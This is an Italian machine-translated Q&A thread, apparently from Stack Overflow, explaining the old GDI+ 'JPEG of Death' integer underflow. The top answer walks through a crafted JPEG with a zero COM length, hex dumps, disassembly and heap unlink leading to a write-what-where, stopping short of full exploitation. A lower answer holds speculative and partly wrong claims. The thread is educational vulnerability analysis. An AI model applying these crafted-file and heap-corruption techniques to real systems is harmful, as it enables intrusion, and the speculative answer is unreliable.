Come funziona la vulnerabilità JPEG of Death?


94

Ho letto di un vecchio exploit contro GDI + su Windows XP e Windows Server 2003 chiamato JPEG della morte per un progetto a cui sto lavorando.

L'exploit è ben spiegato nel seguente link: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

Fondamentalmente, un file JPEG contiene una sezione chiamata COM contenente un campo di commento (possibilmente vuoto) e un valore di due byte contenente la dimensione di COM. Se non sono presenti commenti, la dimensione è 2. Il lettore (GDI +) legge la dimensione, ne sottrae due e alloca un buffer della dimensione appropriata per copiare i commenti nell'heap. L'attacco prevede il posizionamento di un valore di 0nel campo. GDI + sottrae 2, portando a un valore di -2 (0xFFFe)cui viene convertito nell'intero senza segno 0XFFFFFFFEda memcpy.

Codice di esempio:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

Si malloc(0)noti che sulla terza riga dovrebbe restituire un puntatore alla memoria non allocata nell'heap. Come può la scrittura di 0XFFFFFFFEbyte ( 4GB!!!!) non mandare in crash il programma? Questo scrive oltre l'area dell'heap e nello spazio di altri programmi e del sistema operativo? Cosa succede allora?

A quanto ho capito memcpy, copia semplicemente i ncaratteri dalla destinazione alla fonte. In questo caso, l'origine dovrebbe essere nello stack, la destinazione nell'heap ed nè 4GB.


malloc allocherà la memoria dall'heap. Penso che l'exploit sia stato eseguito prima di memcpy e dopo che la memoria è stata allocata
iedoc

solo come nota a margine : non è memcpy ciò che promuove il valore a un numero intero senza segno (4 byte), ma piuttosto la sottrazione.
rev

1
Ho aggiornato la mia risposta precedente con un esempio dal vivo. La mallocdimensione ed è solo 2 byte anziché 0xFFFFFFFE. Questa dimensione enorme viene utilizzata solo per la dimensione della copia, non per la dimensione dell'allocazione.
Neitsa

Risposte:


96

Questa vulnerabilità è stata sicuramente un enorme overflow .

Come può la scrittura di 0XFFFFFFFE byte (4 GB !!!!) non mandare in crash il programma?

Probabilmente lo farà, ma in alcune occasioni hai tempo per sfruttare prima che si verifichi il crash (a volte, puoi riportare il programma alla sua normale esecuzione ed evitare il crash).

Quando si avvia memcpy (), la copia sovrascriverà alcuni altri blocchi di heap o alcune parti della struttura di gestione dell'heap (ad es. Lista libera, lista occupata, ecc.).

Ad un certo punto la copia incontrerà una pagina non allocata e attiverà un AV (violazione di accesso) in scrittura. GDI + proverà quindi ad allocare un nuovo blocco nell'heap (vedere ntdll! RtlAllocateHeap ) ... ma le strutture dell'heap sono ora tutte incasinate.

A quel punto, creando con cura la tua immagine JPEG puoi sovrascrivere le strutture di gestione dell'heap con dati controllati. Quando il sistema tenta di allocare il nuovo blocco, probabilmente scollegherà un blocco (libero) dall'elenco libero.

I blocchi vengono gestiti con (in particolare) un puntatore lampeggiante (collegamento in avanti; il blocco successivo nell'elenco) e lampeggiante (collegamento all'indietro; il blocco precedente nell'elenco). Se controlli sia il flink che il blink, potresti avere una possibile WRITE4 (write What / Where condition) in cui controlli cosa puoi scrivere e dove puoi scrivere.

A quel punto è possibile sovrascrivere un puntatore a funzione (i puntatori SEH [Structured Exception Handlers] erano un obiettivo di scelta in quel momento nel 2004) e ottenere l'esecuzione del codice.

Vedi il post del blog Heap Corruption: A Case Study .

Nota: sebbene abbia scritto sull'exploitation utilizzando la freelist, un utente malintenzionato potrebbe scegliere un altro percorso utilizzando altri metadati dell'heap (i "metadati dell'heap" sono strutture utilizzate dal sistema per gestire l'heap; flink e blink fanno parte dei metadati dell'heap), ma lo sfruttamento di unlink è probabilmente il "più semplice". Una ricerca su Google per "sfruttamento dell'heap" restituirà numerosi studi su questo.

Questo scrive oltre l'area dell'heap e nello spazio di altri programmi e del sistema operativo?

Mai. I sistemi operativi moderni si basano sul concetto di spazio degli indirizzi virtuale, quindi ogni processo ha il proprio spazio degli indirizzi virtuale che consente di indirizzare fino a 4 gigabyte di memoria su un sistema a 32 bit (in pratica ne hai solo la metà nella terra degli utenti, il resto è per il kernel).

In breve, un processo non può accedere alla memoria di un altro processo (tranne se lo richiede al kernel tramite qualche servizio / API, ma il kernel controllerà se il chiamante ha il diritto di farlo).


Ho deciso di testare questa vulnerabilità questo fine settimana, in modo da poter avere una buona idea di cosa stava succedendo piuttosto che pura speculazione. La vulnerabilità ha ormai 10 anni, quindi ho pensato che fosse giusto scriverne, anche se non ho spiegato la parte dello sfruttamento in questa risposta.

Pianificazione

Il compito più difficile è stato trovare un Windows XP con solo SP1, come nel 2004 :)

Quindi, ho scaricato un'immagine JPEG composta solo da un singolo pixel, come mostrato di seguito (tagliato per brevità):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

Un'immagine JPEG è composta da marcatori binari (che introducono segmenti). Nell'immagine sopra, FF D8è il marker SOI (Start Of Image), mentre FF E0, ad esempio, è un marker dell'applicazione.

Il primo parametro in un segmento marker (ad eccezione di alcuni marker come SOI) è un parametro di lunghezza a due byte che codifica il numero di byte nel segmento marker, incluso il parametro length ed escluso il marker a due byte.

Ho semplicemente aggiunto un marcatore COM (0x FFFE) subito dopo il SOI, poiché i marcatori non hanno un ordine preciso.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

La lunghezza del segmento COM è impostata 00 00per attivare la vulnerabilità. Ho anche iniettato 0xFFFC byte subito dopo il marcatore COM con uno schema ricorrente, un numero di 4 byte in esadecimale, che diventerà utile quando si "sfrutta" la vulnerabilità.

Debug

Fare doppio clic sull'immagine attiverà immediatamente il bug nella shell di Windows (noto anche come "explorer.exe"), da qualche parte gdiplus.dllin una funzione denominata GpJpegDecoder::read_jpeg_marker().

Questa funzione viene chiamata per ogni marker nell'immagine, semplicemente: legge la dimensione del segmento del marker, alloca un buffer la cui lunghezza è la dimensione del segmento e copia il contenuto del segmento in questo buffer appena allocato.

Ecco l'inizio della funzione:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eaxregister punta alla dimensione del segmento ed ediè il numero di byte rimasti nell'immagine.

Il codice procede quindi alla lettura della dimensione del segmento, iniziando dal byte più significativo (la lunghezza è un valore di 16 bit):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

E il byte meno significativo:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

Fatto ciò, la dimensione del segmento viene utilizzata per allocare un buffer, seguendo questo calcolo:

alloc_size = segment_size + 2

Questo viene fatto dal codice seguente:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

Nel nostro caso, poiché la dimensione del segmento è 0, la dimensione allocata per il buffer è di 2 byte .

La vulnerabilità è subito dopo l'assegnazione:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

Il codice sottrae semplicemente la dimensione segment_size (la lunghezza del segmento è un valore di 2 byte) dalla dimensione dell'intero segmento (0 nel nostro caso) e finisce con un underflow intero: 0-2 = 0xFFFFFFFE

Il codice quindi controlla se ci sono byte rimasti da analizzare nell'immagine (il che è vero), quindi salta alla copia:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

Lo snippet sopra mostra che la dimensione della copia è 0xFFFFFFFE blocchi di 32 bit. Il buffer di origine è controllato (contenuto dell'immagine) e la destinazione è un buffer sull'heap.

Condizione di scrittura

La copia attiverà un'eccezione di violazione di accesso (AV) quando raggiunge la fine della pagina di memoria (potrebbe provenire dal puntatore di origine o dal puntatore di destinazione). Quando l'AV viene attivato, l'heap è già in uno stato vulnerabile perché la copia ha già sovrascritto tutti i seguenti blocchi dell'heap fino a quando non è stata rilevata una pagina non mappata.

Ciò che rende questo bug sfruttabile è che 3 SEH (Structured Exception Handler; questo è try / tranne a basso livello) stanno rilevando eccezioni su questa parte del codice. Più precisamente, il 1 ° SEH srotolerà lo stack in modo che torni ad analizzare un altro marker JPEG, saltando così completamente il marker che ha attivato l'eccezione.

Senza un SEH il codice avrebbe semplicemente bloccato l'intero programma. Quindi il codice salta il segmento COM e analizza un altro segmento. Quindi torniamo aGpJpegDecoder::read_jpeg_marker() con un nuovo segmento e quando il codice alloca un nuovo buffer:

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

Il sistema scollegherà un blocco dall'elenco libero. Succede che le strutture dei metadati siano state sovrascritte dal contenuto dell'immagine; quindi controlliamo lo scollegamento con metadati controllati. Il codice seguente da qualche parte nel sistema (ntdll) nel gestore di heap:

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

Ora possiamo scrivere quello che vogliamo, dove vogliamo ...


3

Dato che non conosco il codice di GDI, ciò che segue è solo una speculazione.

Bene, una cosa che mi viene in mente è un comportamento che ho notato su alcuni sistemi operativi (non so se Windows XP avesse questo) era durante l'allocazione con new / malloc , puoi effettivamente allocare più della tua RAM, purché non scrivi in ​​quella memoria.

Questo è in realtà un comportamento del kernel di Linux.

Da www.kernel.org:

Le pagine nello spazio degli indirizzi lineare del processo non sono necessariamente residenti in memoria. Ad esempio, le allocazioni effettuate per conto di un processo non vengono soddisfatte immediatamente poiché lo spazio è riservato solo all'interno di vm_area_struct.

Per entrare nella memoria residente deve essere attivato un page fault.

Fondamentalmente è necessario sporcare la memoria prima che venga effettivamente allocata sul sistema:

  unsigned int size=-1;
  char* comment = new char[size];

A volte non farà effettivamente un'allocazione reale nella RAM (il tuo programma non utilizzerà ancora 4 GB). So di aver visto questo comportamento su Linux, ma non posso tuttavia replicarlo ora sulla mia installazione di Windows 7.

A partire da questo comportamento è possibile il seguente scenario.

Per fare in modo che quella memoria esista nella RAM è necessario sporcarla (fondamentalmente memset o qualche altra scrittura su di essa):

  memset(comment, 0, size);

Tuttavia, la vulnerabilità sfrutta un buffer overflow, non un errore di allocazione.

In altre parole, se dovessi avere questo:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

Ciò porterà a una scrittura dopo il buffer, perché non esiste un segmento da 4 GB di memoria continua.

Non hai messo nulla in p per sporcare tutti i 4 GB di memoria, e non so se memcpy sporcare tutti sporchi la memoria tutto in una volta, o solo pagina per pagina (penso che sia pagina per pagina).

Alla fine finirà per sovrascrivere lo stack frame (Stack Buffer Overflow).

Un'altra vulnerabilità più possibile era se l'immagine fosse conservata in memoria come un array di byte (leggi l'intero file nel buffer) e la dimensione dei commenti fosse usata solo per saltare avanti le informazioni non vitali.

Per esempio

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

Come hai detto, se il GDI non assegna quella dimensione, il programma non andrà mai in crash.


4
Potrebbe essere con un sistema a 64 bit, dove 4 GB non sono un grosso problema (parlando di spazio aggiuntivo). Ma in un sistema a 32 bit (anche loro sembrano vulnerabili) non è possibile riservare 4 GB di spazio per gli indirizzi, perché sarebbe tutto quello che c'è! Quindi malloc(-1U)sicuramente fallirà, tornerà NULLe memcpy()andrà in crash.
rodrigo

9
Non penso che questa riga sia vera: "Alla fine finirà per scrivere in un altro indirizzo di processo". Normalmente un processo non può accedere alla memoria di un altro. Vedi i vantaggi della MMU .
chue x

Vantaggi di @MMU sì, hai ragione. Volevo dire che supererà i normali limiti dell'heap e inizierà a sovrascrivere lo stack frame. Modificherò la mia risposta, grazie per averla segnalata.
MichaelCMS
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.